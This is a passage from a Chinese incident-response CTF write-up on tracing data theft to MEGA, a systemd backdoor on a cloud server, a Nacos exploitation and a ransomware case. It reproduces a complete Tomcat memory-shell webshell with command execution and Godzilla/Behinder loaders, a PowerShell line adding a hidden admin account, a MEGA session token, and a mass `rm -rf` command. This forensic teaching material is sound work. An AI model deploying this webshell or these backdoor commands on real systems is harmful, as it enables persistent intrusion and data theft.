                std::srand(tick);
        }

}

int  generate_range(int n2, int a2, int a3, int a4, int n62, int a6, int a7)
{
        int n0x7FFFFFFF_1; // edi
        int n0x7FFFFFFF; // esi
        int v9; // edi

        if (a4)
                n0x7FFFFFFF_1 = a2 < 0 ? 0 : a2;
        else
                n0x7FFFFFFF_1 = 0;
        if (a7)
                n0x7FFFFFFF = n62 < 0 ? 0 : n62;
        else
                n0x7FFFFFFF = 0x7FFFFFFF;
        if (n0x7FFFFFFF_1 > n0x7FFFFFFF)
        {
                v9 = n0x7FFFFFFF ^ n0x7FFFFFFF_1;
                n0x7FFFFFFF ^= v9;
                n0x7FFFFFFF_1 = n0x7FFFFFFF ^ v9;
        }
        return n0x7FFFFFFF_1 + rand() % ( n0x7FFFFFFF - n0x7FFFFFFF_1 + 1 );
}

// 生成随机子字符串
char generate_substring(int random) {
        if (random <= 0){
                return0;
        }

        int count = 1;
        int StrSize = strlen(charset);
        if (random > StrSize){
                return0;
        }
        if (random + 1 > StrSize){
                count = StrSize - random + 1;
        }

        return charset[random - 1];
}


// 使用示例
int main() {
        constchar* filename = "flag.txt.freefix"; // 测试用加密文件
        size_t file_size;
        unsignedchar* ciphertext = read_file(filename, &file_size);
        if (!ciphertext) {
                cerr << "读取文件失败" << endl;
                return1;
        }
        int seed = 0;

        while (1){
                set_rng_seed(seed, true);
                std::string key = "";
                char s[16];
                for (int i = 0; i < 16;)
                {
                        auto a = generate_range(2, 1, 0, 0x80000301, 62, 0, 0x80000301);
                        auto char_ = generate_substring(a);
                        if (int(char_) != 0){
                                key += char_;
                                i++;
                        }

                }
                size_t key_len = strlen(key.c_str());
                unsignedchar* plaintext = rc4_decrypt(ciphertext, file_size,
                        reinterpret_cast<constunsignedchar*>( key.c_str() ), key_len);
                if (seed % 100000 == 0){
                        cout << seed << endl;
                }
                // 输出前16字节示例
                if (plaintext[0] == 'f' && plaintext[1] == 'l' && plaintext[2] == 'a' && plaintext[3] == 'g'){
                        cout << "解密结果: ";
                        cout << plaintext;
                        break;
                }
                seed += 1;
                delete plaintext;
        }



        return0;
}

640

窃密排查-1

发现内部数据被窃取,进行紧急上机。请通过黑客遗留痕迹进行排查:
找到黑客窃密工具的账号

上机排查,使用cat /etc/passwdlastlog命令没有发现其他用户的痕迹,推测黑客登陆了root用户

image-20251105154200536

发现/root目录下存在隐藏目录./megaCmd,并且存在命令执行日志megacmdserver.log

image-20251105154958181

# 时间 级别 组件 原始/简化信息 源 (文件:行) 含义 / 可能原因 建议(优先级)
1 2025-03-26 03:51:57.456070 INFO cmd program start — 程序启动 megacmd.cpp:5221 mega-cmd 进程启动日志(正常) 无需操作
2 2025-03-26 03:51:57.462462 ERR sdk Unable to FileAccess::fopen('/root/.megaCmd/jid'): sysstat() failed: No such file or directory filesystem.cpp:1088 试图打开 /root/.megaCmd/jid 文件失败,系统返回 errno 2(文件或目录不存在)。通常是目录或该文件缺失。 确认目录存在并可写(mkdir -p /root/.megaCmd);检查运行用户与 HOME。高优先
3 2025-03-26 03:51:57.463349 ERR sdk Unable to fopen('/root/.megaCmd/apiFolder_0/jid'): No such file or directory filesystem.cpp:1088 同上,多个 apiFolder_* 下的 jid 文件都找不到(目录缺失或未创建)。 创建必要子目录或调整配置;检查是否为只读文件系统(容器场景)。
4 2025-03-26 03:51:57.464193 ERR sdk Unable to fopen('/root/.megaCmd/apiFolder_1/jid'): No such file or directory filesystem.cpp:1088 同上 同上
5 2025-03-26 03:51:57.464924 ERR sdk Unable to fopen('/root/.megaCmd/apiFolder_2/jid'): No such file or directory filesystem.cpp:1088 同上 同上
6 2025-03-26 03:51:57.512085 ERR sdk Unable to fopen('/root/.megaCmd/apiFolder_3/jid'): No such file or directory filesystem.cpp:1088 同上 同上
7 2025-03-26 03:51:57.512919 ERR sdk Unable to fopen('/root/.megaCmd/apiFolder_4/jid'): No such file or directory filesystem.cpp:1088 同上 同上
8 2025-03-26 03:51:57.513585 INFO cmd Listening to petitions ...(监听请求) megacmd.cpp:4405 后台/服务开始监听客户端请求(正常)。 无需操作
9 2025-03-26 03:51:57.527850 INFO cmd Resuming session...(恢复会话) megacmdexecuter.cpp:8013 尝试恢复之前的会话。因为 jid 缓存缺失,可能用其它凭据或临时会话数据恢复。 检查session文件是否完整(若需持久会话,修复缓存)。
10 2025-03-26 03:51:58.879908 ERR sdk Failed to open('/root/.megaCmd/jid'): error 2: No such file or directory fs.cpp:739 再次尝试打开 jid 失败(同样的 errno 2)。 同上(创建目录/文件权限)
11 2025-03-26 03:51:58.879966 ERR sdk [MegaClient::JourneyID::resetCacheAndValues] Unable to remove local cache file megaclient.cpp:315 试图删除本地缓存(可能旧文件)失败,因文件不存在或权限问题。 如果需要强制重建缓存,可手动清理或创建空文件;检查权限。
12 2025-03-26 03:51:58.879990 ERR sdk [MegaClient::JourneyID::loadValuesFromCache] Unable to load values from the local cache megaclient.cpp:259 不能从本地缓存加载 JourneyID 等值(缓存缺失或损坏)。 缓存缺失通常可自动重建;若影响功能可重建/重新登录。
13 2025-03-26 03:51:59.057267 INFO cmd Fetching nodes ...(获取节点/文件树) megacmdexecuter.cpp:2620 与 MEGA 服务通信,拉取云端节点/目录结构(正常流程) 无需操作
14 2025-03-26 03:51:59.862963 INFO cmd Login complete as 25solar3abc@habenwir.com(登录成功) megacmdexecuter.cpp:2721 登录成功,说明凭据/会话在运行时可用(即使本地 jid 缓存缺失)。 检查是否希望持久化会话(创建缓存)。
15 2025-03-26 03:52:24.229856 INFO cmd closing application ...(正在关闭) megacmd.cpp:4179 应用开始正常退出。 无需操作
16 2025-03-26 03:52:24.322433 INFO cmd program end(程序结束) megacmd.cpp:4234 程序正常结束。 无需操作

MEGAcmd 是 MEGA(云存储)提供的命令行交互与可脚本化应用,能通过命令行对你的 MEGA 帐号进行全部常见操作(上传/下载/列目录/同步/备份/分享等)。

黑客使用 MEGA 账号25solar3abc@habenwir.com访问了该主机上的 MEGA 客户端

窃密排查-2

Email地址检查,检测Email地址真实性,检测电子邮件地址真实性--外贸狼

查询邮箱DNS记录:

image-20251105161110068

在yopmail临时邮箱中查看黑客邮件发现密钥(比赛已结束,邮件已删除,官方WP中有):

640

通过该密钥找回密码即可登录mega,在共享文件夹中可发现flag

640

640

窃密排查-3

该flag文件所属badguy2503@wishy.fr,通过查看历史消息中和25solar的对话,可发现发送了session。使用megacmd session来登录该账户(即用户a a)即可查看flag2

640 (1)

mega-login AZVRK8MmFKQ5cxZ1qgqOP5iL7tIbQEGreB-pdCL6rUh-RGZJMTctaWNoNFlfD1t6vo6uitExrY87JsMh 
ls
cd flag2
cat flag2.txt

640

session 登录”就是用 MEGA 在前一次登录时生成的会话令牌(session token)来代替邮箱/密码进行认证,把这个令牌交给 MEGAcmd 后,MEGAcmd 会把它当成已授权的凭证直接建立会话并访问该账号的数据,而不需要再次输入密码或二次认证

溯源排查-1

某企业的阿里云服务器,现已将镜像从阿里云下载下来,该服务器存在奇怪的外连,请排查出外连地址

解压密码:FEW*&RY&*@#G&%TR*&#

仿真

使用qemu-imgraw文件转换为vmdk文件

qemu-img.exe convert -f raw AFEWgf_m-f8zj02psjoasq9hitdu2_system.raw -O vmdk aliyun.vmdk

image-20251106143218934

启动选择第三个作为启动项

image-20251106143343855

WARNING: Spectre v2 mitigation leaves CPU vulnerable to RETBleed attacks, data leaks possible!

参考文章:阿里云镜像还原本地取证

原因:阿里云的防护软件自检

image-20251106145643635

解决方法:系统cloud-init和重置密码

在启动页面选中第三个启动项,按e键进入单用户模式

找到linux开头的一行,把ro后面的部分全部删掉,改为rw init=/bin/bash

编辑完成后Ctrl+x 开始,此时进入命令行界面

image-20251106150713746

删除掉阿里云的cloud-init

rm -rf $(find / 2>/dev/null|grep cloud-init)

修改密码

passwd

SMBus Host Controller not enabled!

参考文章:VMware中Linux启动时***Host SMBus controller not enabled的解决方法 - Wenchaoz - 博客园

原因:新建虚拟机时扩展了磁盘容量,系统自动安装或启用了i2c_piix4模块

image-20251106144749632

i2c_piix4 是 Linux 内核中的一个驱动程序模块,主要用于:

  1. 硬件支持:为 AMD 芯片组(特别是使用 PIIX4 南桥芯片的系统)提供 I2C/SMBus 控制器驱动
  2. 系统管理:负责系统管理总线(SMBus)的通信
  3. 硬件监控:用于读取传感器数据(温度、电压等)
  4. 虚拟化环境:在虚拟机中模拟硬件 I2C/SMBus 控制器

在虚拟机中,物理硬件被抽象化,可能导致:

  • 虚拟的 SMBus 控制器无法正常工作
  • 硬件模拟不完整

当扩展磁盘容量时,系统可能:

  • 重新检测硬件
  • 自动加载认为需要的驱动模块
  • 但虚拟环境无法提供完整的硬件支持

解决方法:禁用i2c_piix4模块

按住shift重新启动,进入GNU GRUB界面,依次选择*Advanced options for Ubuntu*Ubuntu,with Linux ****(recovery mode)root

img

img

img

禁用i2c_piix4模块

vi /etc/modprobe.d/blacklist-nouv.conf

blacklist i2c_piix4
options nouveau modeset=0

640

重新生成引导文件,如果不进行该操作直接重启还是会报错!

输入update-initramfs -u -k all

//重新生成引导文件!!!

再输入reboot重启即可

img

成功还原阿里云镜像环境,查看网络流量:

tcpdump

image-20251106152305578

发现大量udp请求包发送到156.238.230.167:46578

挂载

参考文章:Solar 应急响应赛 3 月 Writeup - CloneWith's Page

使用R-studio直接对raw文件进行挂载:

image-20251106163821903

先行检查 root 与用户目录,可发现可疑的删除文件:

image-20251106164257621

这些文件的内容完全相同,均为 Systemd 服务配置文件,指向一个可执行程序 /usr/local/systemd/journaled

[Unit]
Description=journaled
ConditionFileIsExecutable=/usr/local/systemd/journaled


[Service]
StartLimitInterval=5
StartLimitBurst=10
ExecStart=/usr/local/systemd/journaled







Restart=always

RestartSec=120
EnvironmentFile=-/etc/sysconfig/systemd-journaled

[Install]
WantedBy=multi-user.target
模块 配置项 说明
Unit Description journaled 服务描述
Unit ConditionFileIsExecutable /usr/local/systemd/journaled 检查可执行文件是否存在且可执行
Service StartLimitInterval 5 启动频率检查时间窗口(5秒)
Service StartLimitBurst 10 在5秒内最多允许启动10次
Service ExecStart /usr/local/systemd/journaled 服务启动命令
Service Restart always 进程退出后总是重启
Service RestartSec 120 重启前等待120秒
Service EnvironmentFile -/etc/sysconfig/systemd-journaled 环境配置文件(可选)
Install WantedBy multi-user.target 在多用户模式下自动启动

系统日志服务正确的写法是 systemd-journald,这里明显不正常,将 /usr/local/systemd/journaled 文件提取出来,用在线沙箱分析:

image-20251106165500483

其中最特殊的是156.238.230.167:46578

溯源排查-2

排查外连进程程序的绝对路径

仿真

使用netstate -anup查询所有udp端口开放情况:

image-20251106153241940

使用top命令查看进程情况:

image-20251106152838027

可以发现一直在反复执行的程序journaled

寻找程序的绝对路径:

Ls -al /proc/533

find / -name "journaled"

image-20251106154422412

得到进程路径为/usr/local/systemd/journaled

挂载

由上题分析可知

溯源排查-3

排查后门,提交其完整名称

仿真

查看系统服务的详细状态信息:

systemctl status

image-20251106161656822

即后门服务为systemd-journaled.service

挂载

为了找到后门的启动服务,可以搜索 journaled,最终在 /etc/systemd/system 找到了完全相同的、名为 systemd-journaled.service 的服务文件。

image-20251106170623579

溯源排查-4

业务系统已被删除,找出可能存在漏洞的应用

仿真

官方题解是在/tmp目录下发现nacos系统的临时文件,但是我的环境中没发现

640

挂载

image-20251106163821903

可以发现被删除的nacos文件夹,说明业务系统是nacos

溯源排查-5

请提交漏洞cve编号

题目有问题,实则提交的是cnvd编号

CNVD-2023-45001

官方wp:根据nacos_data_temp.class解码,可以判断为木马文件,可能为工具注入内存马留下的缓存文件

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.math.BigInteger;
import java.net.URL;
import java.net.URLClassLoader;
import java.security.MessageDigest;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.Iterator;
import java.util.LinkedHashMap;
import java.util.Map;
import java.util.Scanner;
import java.util.Map.Entry;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import javax.servlet.DispatcherType;
import javax.servlet.Filter;
import javax.servlet.FilterChain;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletRequestWrapper;
import javax.servlet.ServletResponse;
import javax.servlet.ServletResponseWrapper;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import org.apache.catalina.Context;
import org.apache.catalina.connector.Request;
import org.apache.catalina.connector.RequestFacade;
import org.apache.catalina.connector.ResponseFacade;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.core.StandardContext;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;
import org.apache.tomcat.util.http.Parameters;
import sun.misc.BASE64Decoder;

publicclass xcchje extends AbstractTranslet implements Filter {
    String xc = "3c6e0b8a9c15224a";
    String pass = "pass";
    String md5;
    Class payload;

    public xcchje() {
        this.md5 = md5(this.pass + this.xc);
    }

    public static String md5(String s) {
        String ret = null;

        try {
            MessageDigest m = MessageDigest.getInstance("MD5");
            m.update(s.getBytes(), 0, s.length());
            ret = (new BigInteger(1, m.digest())).toString(16).toUpperCase();
        } catch (Exception var3) {
        }

        return ret;
    }

    public static String base64Encode(byte[] bs) throws Exception {
        String value = null;

        Class base64;
        try {
            base64 = Class.forName("java.util.Base64");
            Object Encoder = base64.getMethod("getEncoder", (Class[])null).invoke(base64, (Object[])null);
            value = (String)Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, bs);
        } catch (Exception var6) {
            try {
                base64 = Class.forName("sun.misc.BASE64Encoder");
                Object Encoder = base64.newInstance();
                value = (String)Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, bs);
            } catch (Exception var5) {
            }
        }

        return value;
    }

    publicstaticbyte[] base64Decode(String bs) throws Exception {
        byte[] value = null;

        Class base64;
        try {
            base64 = Class.forName("java.util.Base64");
            Object decoder = base64.getMethod("getDecoder", (Class[])null).invoke(base64, (Object[])null);
            value = (byte[])((byte[])decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs));
        } catch (Exception var6) {
            try {
                base64 = Class.forName("sun.misc.BASE64Decoder");
                Object decoder = base64.newInstance();
                value = (byte[])((byte[])decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs));
            } catch (Exception var5) {
            }
        }

        return value;
    }

    publicbyte[] x(byte[] s, boolean m) {
        try {
            Cipher c = Cipher.getInstance("AES");
            c.init(m ? 1 : 2, new SecretKeySpec(this.xc.getBytes(), "AES"));
            return c.doFinal(s);
        } catch (Exception var4) {
            returnnull;
        }
    }

    public static StandardContext getContext222() {
        try {
            Object obj = Thread.currentThread();
            Field field = obj.getClass().getDeclaredField("group");
            field.setAccessible(true);
            Object obj = field.get(obj);
            field = obj.getClass().getDeclaredField("threads");
            field.setAccessible(true);
            obj = field.get(obj);
            Thread[] threads = (Thread[])((Thread[])obj);
            Thread[] var3 = threads;
            int var4 = threads.length;

            for(int var5 = 0; var5 < var4; ++var5) {
                Thread thread = var3[var5];
                if (thread.getName().contains("com.alibaba.nacos.naming.remote-connection-manager")) {
                    field = thread.getClass().getDeclaredField("contextClassLoader");
                    field.setAccessible(true);
                    obj = field.get(thread);
                    field = obj.getClass().getSuperclass().getSuperclass().getDeclaredField("resources");
                    field.setAccessible(true);
                    obj = field.get(obj);
                    field = obj.getClass().getDeclaredField("context");
                    field.setAccessible(true);
                    obj = field.get(obj);
                    if (obj != null) {
                        return (StandardContext)obj;
                    }
                }
            }
        } catch (Exception var7) {
            var7.printStackTrace();
        }

        returnnull;
    }

    public static StandardContext getContext() {
        try {
            Object obj = Thread.currentThread();
            Field field = obj.getClass().getDeclaredField("group");
            field.setAccessible(true);
            Object obj = field.get(obj);
            field = obj.getClass().getDeclaredField("threads");
            field.setAccessible(true);
            obj = field.get(obj);
            Thread[] threads = (Thread[])((Thread[])obj);
            Thread[] var3 = threads;
            int var4 = threads.length;

            for(int var5 = 0; var5 < var4; ++var5) {
                Thread thread = var3[var5];

                try {
                    field = thread.getClass().getDeclaredField("contextClassLoader");
                    field.setAccessible(true);
                    obj = field.get(thread);
                    field = obj.getClass().getSuperclass().getSuperclass().getDeclaredField("resources");
                    field.setAccessible(true);
                    obj = field.get(obj);
                    field = obj.getClass().getDeclaredField("context");
                    field.setAccessible(true);
                    obj = field.get(obj);
                    if (obj != null) {
                        return (StandardContext)obj;
                    }
                } catch (Exception var8) {
                }
            }
        } catch (Exception var9) {
            var9.printStackTrace();
        }

        returnnull;
    }

    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
    }

    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
    }

    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        HttpServletRequest request = (HttpServletRequest)servletRequest;
        HttpServletResponse response = (HttpServletResponse)servletResponse;

        try {
            if (request.getHeader("Referer").equalsIgnoreCase("https://www.google.com/")) {
                Object lastRequest = request;
                Object lastResponse = response;
                Method getResponse;
                if (!(request instanceof RequestFacade)) {
                    getResponse = ServletRequestWrapper.class.getMethod("getRequest");

                    for(lastRequest = getResponse.invoke(request); !(lastRequest instanceof RequestFacade); lastRequest = getResponse.invoke(lastRequest)) {
                    }
                }

                if (!(response instanceof ResponseFacade)) {
                    getResponse = ServletResponseWrapper.class.getMethod("getResponse");

                    for(lastResponse = getResponse.invoke(response); !(lastResponse instanceof ResponseFacade); lastResponse = getResponse.invoke(lastResponse)) {
                    }
                }

                URLClassLoader urlClassLoader;
                String payload;
                if (request.getHeader("x-client-data").equalsIgnoreCase("cmd")) {
                    String cmd = request.getHeader("cmd");
                    if (cmd != null && !cmd.isEmpty()) {
                        urlClassLoader = null;
                        String[] cmds;
                        if (System.getProperty("os.name").toLowerCase().contains("win")) {
                            cmds = new String[]{"cmd", "/c", cmd};
                        } else {
                            cmds = new String[]{"/bin/bash", "-c", cmd};
                        }

                        payload = (new Scanner(Runtime.getRuntime().exec(cmds).getInputStream())).useDelimiter("\\A").next();
                        ((ResponseFacade)lastResponse).getWriter().println(payload);
                    }
                } elseif (request.getHeader("x-client-data").equalsIgnoreCase("rebeyond")) {
                    if (request.getMethod().equals("POST")) {
                        HashMap pageContext = new HashMap();
                        HttpSession session = ((RequestFacade)lastRequest).getSession();
                        pageContext.put("request", lastRequest);
                        pageContext.put("response", lastResponse);
                        pageContext.put("session", session);
                        payload = request.getReader().readLine();
                        if (payload == null || payload.isEmpty()) {
                            payload = "";
                            Field field = lastRequest.getClass().getDeclaredField("request");
                            field.setAccessible(true);
                            Request realRequest = (Request)field.get(lastRequest);
                            Field coyoteRequestField = realRequest.getClass().getDeclaredField("coyoteRequest");
                            coyoteRequestField.setAccessible(true);
                            org.apache.coyote.Request coyoteRequest = (org.apache.coyote.Request)coyoteRequestField.get(realRequest);
                            Parameters parameters = coyoteRequest.getParameters();
                            Field paramHashValues = parameters.getClass().getDeclaredField("paramHashValues");
                            paramHashValues.setAccessible(true);
                            LinkedHashMap paramMap = (LinkedHashMap)paramHashValues.get(parameters);
                            Iterator iterator = paramMap.entrySet().iterator();

                            while(iterator.hasNext()) {
                                Entry<String, ArrayList<String>> next = (Entry)iterator.next();
                                String paramKey = ((String)next.getKey()).replaceAll(" ", "+");
                                ArrayList<String> paramValueList = (ArrayList)next.getValue();
                                if (paramValueList.size() == 0) {
                                    payload = payload + paramKey;
                                } else {
                                    payload = payload + paramKey + "=" + (String)paramValueList.get(0);
                                }
                            }
                        }

                        String k = "e45e329feb5d925b";
                        session.putValue("u", k);
                        Cipher c = Cipher.getInstance("AES");
                        c.init(2, new SecretKeySpec(k.getBytes(), "AES"));
                        Method method = Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
                        method.setAccessible(true);
                        byte[] evilclass_byte = c.doFinal((new BASE64Decoder()).decodeBuffer(payload));
                        Class evilclass = (Class)method.invoke(Thread.currentThread().getContextClassLoader(), evilclass_byte, 0, evilclass_byte.length);
                        evilclass.newInstance().equals(pageContext);
                    }
                } elseif (request.getHeader("x-client-data").equalsIgnoreCase("godzilla")) {
                    byte[] data = base64Decode(request.getParameter(this.pass));
                    data = this.x(data, false);
                    if (this.payload == null) {
                        urlClassLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader());
                        Method defMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
                        defMethod.setAccessible(true);
                        this.payload = (Class)defMethod.invoke(urlClassLoader, data, 0, data.length);
                    } else {
                        ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
                        Object f = this.payload.newInstance();
                        f.equals(arrOut);
                        f.equals(data);
                        f.equals(request);
                        response.getWriter().write(this.md5.substring(0, 16));
                        f.toString();
                        response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true)));
                        response.getWriter().write(this.md5.substring(16));
                    }
                }

                return;
            }
        } catch (Exception var22) {
        }

        filterChain.doFilter(servletRequest, servletResponse);
    }

    static {
        String name = "MyFilterVersion" + System.nanoTime();
        String var1 = "/*";

        try {
            StandardContext standardContext = getContext();
            Class aClass = null;

            try {
                aClass = standardContext.getClass().getSuperclass();
                aClass.getDeclaredField("filterConfigs");
            } catch (Exception var11) {
                aClass = standardContext.getClass();
                aClass.getDeclaredField("filterConfigs");
            }

            Field Configs = aClass.getDeclaredField("filterConfigs");
            Configs.setAccessible(true);
            Map filterConfigs = (Map)Configs.get(standardContext);
            xcchje behinderFilter = new xcchje();
            FilterDef filterDef = new FilterDef();
            filterDef.setFilter(behinderFilter);
            filterDef.setFilterName(name);
            filterDef.setFilterClass(behinderFilter.getClass().getName());
            standardContext.addFilterDef(filterDef);
            FilterMap filterMap = new FilterMap();
            filterMap.addURLPattern("/*");
            filterMap.setFilterName(name);
            filterMap.setDispatcher(DispatcherType.REQUEST.name());
            standardContext.addFilterMapBefore(filterMap);
            Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
            constructor.setAccessible(true);
            ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)constructor.newInstance(standardContext, filterDef);
            filterConfigs.put(name, filterConfig);
        } catch (Exception var12) {
        }

    }
}

查询与nacos相关的反序列化漏洞,包括Referer=https://www.google.com/,x-client-data=godzilla,留下的缓存文件/tmp/nacos_data_temp.class,nacos_data_temp,通过搜索引擎搜索,搜索到黑客使用的开源工具为https://github.com/c0olw/NacosRce/

640

大佬wp:由于根据前三问,知道上传了木马及后门,那漏洞可能造成的就是RCE。直接搜索

https://www.cnblogs.com/websec80/p/18096100

20250403103308-fad60d75-1033-1

溯源排查-6

找出黑客利用漏洞使用的工具的地址,该工具为开源工具

image-20251106171116408

2025年Solar应急响应4月月赛

参考文章:2025-4月Solar应急响应公益月赛排名及官方题解Solar 应急响应赛 4 月 Writeup - CloneWith's Page2025年Solar应急响应公益月赛-4月 - (。・ω・。)Welcome~2025年Solar应急响应公益月赛-4月|n0o0b's blog

应急行动-1

你是一名网络安全工程师。早上10点,客户说自己被勒索了,十万火急
你需要:6 小时内查明攻击路径,对系统安全加固,提交最终的报告。
刻不容缓,请开始你的溯源任务吧!

来到现场后,通过上机初步检查,细心的你发现了一些线索,请分析一下攻击者IP 地址和入侵时间。
flag{IP DD/MM/YYYY}

桌面上发现该服务器有部署瑞友天翼管理系统,查看其日志:

image-20251110143314334

image-20251110143433999

通过过滤%27发现了通过SQL注入进行 PHP 任意命令执行的请求:

image-20251110143951474

image-20251110143657383

则答案为flag{192.168.56.128 21/04/2025}

应急行动-2

在溯源的过程中,现场的运维告诉你,服务器不知道为什么多了个浏览器,并且这段时间服务器的流量有些异常,你决定一探究竟找找攻击者做了什么,配置了什么东西?
格式:flag{一大串字母}

有上题可知,桌面上有edge浏览器的安装包MicrosoftEdgeSetup.exe

打开edge浏览器进行取证:

image-20251110144407902

历史记录中存在勒索信息:

image-20251110144504509

下载记录中存在rclone文件:

image-20251110144545319

Rclone是一款功能强大的开源命令行工具,主要用于在本地系统与众多云存储服务之间,或在不同的云存储服务之间同步、管理文件。

rclone可以挂载网盘,结合题目说的流量异常,很大可能为攻击者用来窃取数据用的

rclone中有个重要的配置文件rclone.conf,路径为C:\Users\Administrator\AppData\Roaming\rclone\rclone.conf,其中记录了MEGA网盘的相关配置:

image-20251110145322171

应急行动-3

现场的运维说软件的某个跳转地址被恶意的修改了,但是却不知道啥时候被修改的,请你找到文件(C:\Program Files (x86)\RealFriend\Rap Server\WebRoot\casweb\Home\View\Index\index.html ) 最后被动手脚的时间
格式:flag{YYYY-MM-DD HH:MM:SS}

使用取证软件(这里用的AutoSpy)对vmdk虚拟磁盘文件进行取证分析,可以发现真正的修改时间Change Time

时间类型 英文全称 记录内容 触发条件 可修改性
Modified Time (mtime) Modification Time 文件内容的最后修改时间 文件内容被修改 用户可以手动修改
Change Time (ctime) Change Time / Status Change Time 文件元数据的最后修改时间 权限、所有者、链接数等元数据变化 不能手动修改

image-20251110150643923

应急行动-4

一顿分析后,你决定掏出你的Windows安全加固手册对服务器做一次全面的排查,果然你发现了攻击者漏出的鸡脚(四只)
flag格式为:flag{part1+part2+part3+part4}

计划任务

taskschd.msc

image-20251110151628097

发现不寻常的启动程序C:\Windows\debug\update.ps1

Start-Process "cmd.exe" -ArgumentList "/c net user attacker P@ssw0rd /add && net localgroup administrators attacker /add"
// flag1{zheshi}

该程序用于创建一个高权限用户attacker

组件 功能说明 备注
Start-Process PowerShell cmdlet,用于启动新进程 相当于在 Windows 中创建新进程
"cmd.exe" 要启动的进程 - Windows 命令提示符 系统命令行解释器
-ArgumentList 指定传递给进程的参数列表 将参数传递给 cmd.exe
/c cmd.exe 参数:执行命令后终止 /k(执行后保持)相对
net user attacker P@ssw0rd /add 创建新用户账户 用户名:attacker,密码:P@ssw0rd
&& 命令连接符:前一个命令成功则执行下一个 短路与操作
net localgroup administrators attacker /add 将用户添加到管理员组 授予完全管理员权限

系统服务

msconfig

services.msc

image-20251110152131619

发现不寻常系统配置服务,会自启动C:\Windows\System32\nwsync.exe

账号排查

compmgmt.msc

image-20251110153712663

image-20251110153638911

发现Administrator组中存在可疑用户Admin,且配置了远程桌面服务配置文件

可疑进程

若出现从vmss还原CPU状态时出错可参考文章 https://blog.csdn.net/m0_71071763/article/details/145513849 进行配置,若重启会影响做题

640

通过可疑进程找到该程序并发现flag4C:\Windows\System\svchost.exe

image-20251110154428719

应急行动-5

轻轻松松的加固后,你需要写一份溯源分析报告,但是缺少了加密电脑文件的凶手(某加密程序),这份报告客户是不会感到满意的,请你想方法让客户认可这份报告吧
flag格式为:flag{名称}

查找所有.exe文件发现用户文件夹中存在加密文件:

image-20251110154730970

可疑文件

在排查被勒索加密的机器的过程中,发现了一个可疑的dll,试着来分析看看吧!

源于文章:2025年Solar应急响应公益月赛-4月 - (。・ω・。)Welcome~

image-20251110160411073

__int64 HelloWorld_0()
{
  char *v0; // rdi
  __int64 i; // rcx
  char v3[32]; // [rsp+0h] [rbp-20h] BYREF
  char v4; // [rsp+20h] [rbp+0h] BYREF
  const char *v5; // [rsp+28h] [rbp+8h]
  const char *v6; // [rsp+48h] [rbp+28h]
  const char *v7; // [rsp+68h] [rbp+48h]
  char v8[64]; // [rsp+88h] [rbp+68h] BYREF
  __int64 v9; // [rsp+C8h] [rbp+A8h]
  __int64 v10; // [rsp+E8h] [rbp+C8h]

  v0 = &v4;
  for ( i = 58i64; i; --i )
  {
    *(_DWORD *)v0 = -858993460;
    v0 += 4;
  }
  sub_1800770F7(&unk_1801AD0A3);
  v5 = "f.txt";
  v6 = "f.enc";
  v7 = "qewuri";
  sub_18007B180("qewuri", v8);
  v9 = sub_18007462C(v5, "rb");
  v10 = sub_18007462C(v6, "wb");
  sub_18007B240(v9, v10, v8);
  sub_1800753BF(v9);
  sub_1800753BF(v10);
  sub_180076850(v3, &unk_180167E40);
  return 1i64;
}

跟进 sub_18007B240,是个流密码加密

__int64 __fastcall sub_18007B240(__int64 a1, __int64 a2, __int64 a3)
{
  char *v3; // rdi
  __int64 i; // rcx
  char v6[32]; // [rsp+0h] [rbp-20h] BYREF
  char v7; // [rsp+20h] [rbp+0h] BYREF
  int v8[4]; // [rsp+30h] [rbp+10h] BYREF
  _DWORD v9[9]; // [rsp+40h] [rbp+20h] BYREF
  int v10; // [rsp+64h] [rbp+44h] BYREF
  char v11[56]; // [rsp+88h] [rbp+68h] BYREF
  char v12[96]; // [rsp+C0h] [rbp+A0h] BYREF
  char v13[88]; // [rsp+120h] [rbp+100h] BYREF
  unsigned __int64 v14; // [rsp+178h] [rbp+158h]
  unsigned __int64 j; // [rsp+198h] [rbp+178h]

  v3 = &v7;
  for ( i = 102i64; i; --i )
  {
    *(_DWORD *)v3 = -858993460;
    v3 += 4;
  }
  sub_1800770F7(&unk_1801AD0A3);
  memset(v11, 0, 0xCui64);
  qmemcpy(v8, "expand 32-byte k", sizeof(v8));
  sub_1800757E3(v9, a3, 32i64);
  v9[8] = 0;
  sub_1800757E3(&v10, v11, 12i64);
  while ( 1 )
  {
    v14 = sub_180074E79(v13, 1i64, 64i64, a1);
    if ( !v14 )
      break;
    sub_18007ABE0(v8, v12);
    for ( j = 0i64; j < v14; ++j )
    {
      v13[j] ^= v12[j];
      ++v13[j];
    }
    sub_1800772F0(v13, 1i64, v14, a2);
